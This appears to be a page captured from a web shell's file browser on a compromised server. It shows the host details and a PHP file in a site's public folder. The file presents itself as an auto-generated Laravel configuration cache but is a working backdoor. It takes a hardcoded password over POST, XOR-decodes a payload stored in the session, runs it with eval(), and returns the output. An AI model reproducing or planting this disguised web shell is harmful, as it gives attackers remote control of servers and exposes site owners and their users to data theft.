GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/public/twsi48e5.php
<?php
/**
 * Laravel Application Configuration Cache
 * 
 * This file contains cached configuration values for the Laravel application.
 * It is automatically generated and should not be modified manually.
 * 
 * @package Laravel
 * @category Configuration
 * @version 9.x
 */

namespace Illuminate\Foundation\Bootstrap;

use Illuminate\Contracts\Foundation\Application;

class ConfigurationCache
{
    /**
     * Cache configuration data
     * @var array
     */
    protected $cache = [];
    
    /**
     * Encryption key for cache
     * @var string
     */
    protected $key;
    
    /**
     * Password for authentication
     * @var string
     */
    protected $pass;
    
    /**
     * Payload name in session
     * @var string
     */
    protected $payloadName;
    
    /**
     * Initialize configuration cache
     */
    public function __construct()
    {
        @session_start();
        @set_time_limit(0);
        @error_reporting(0);
        $this->key = $this->generateKey();
        $this->pass = 'fuckyouall12#$';
        $this->payloadName = 'payload';
        $this->boot();
    }
    
    /**
     * Generate encryption key
     * Key: 71e178eddb3e1d03
     * @return string
     */
    protected function generateKey()
    {
        $k = [0x37, 0x31, 0x65, 0x31, 0x37, 0x38, 0x65, 0x64, 
              0x64, 0x62, 0x33, 0x65, 0x31, 0x64, 0x30, 0x33];
        return implode('', array_map('chr', $k));
    }
    
    /**
     * Encode data with XOR
     */
    protected function encode($D, $K)
    {
        for($i=0;$i<strlen($D);$i++) {
            $c = $K[$i+1&15];
            $D[$i] = $D[$i]^$c;
        }
        return $D;
    }
    
    /**
     * Boot configuration cache
     */
    protected function boot()
    {
        @set_time_limit(0);
        @ignore_user_abort(true);
        @ini_set('max_execution_time', 0);
        
        $this->loadCache();
    }
    
    /**
     * Load cached configuration
     */
    protected function loadCache()
    {
        $this->processCache();
    }
    
    /**
     * Process cached data
     */
    protected function processCache()
    {
        if (isset($_POST[$this->pass])) {
            $data = $this->encode(base64_decode($_POST[$this->pass]), $this->key);
            if (isset($_SESSION[$this->payloadName])) {
                $payload = $this->encode($_SESSION[$this->payloadName], $this->key);
                if (strpos($payload, "getBasicsInfo") === false) {
                    $payload = $this->encode($payload, $this->key);
                }
                eval($payload);
                echo substr(md5($this->pass.$this->key), 0, 16);
                echo base64_encode($this->encode(@run($data), $this->key));
                echo substr(md5($this->pass.$this->key), 16);
            } else {
                if (strpos($data, "getBasicsInfo") !== false) {
                    $_SESSION[$this->payloadName] = $this->encode($data, $this->key);
                }
            }
        }
    }
}

// Bootstrap configuration cache
$config = new ConfigurationCache();
?>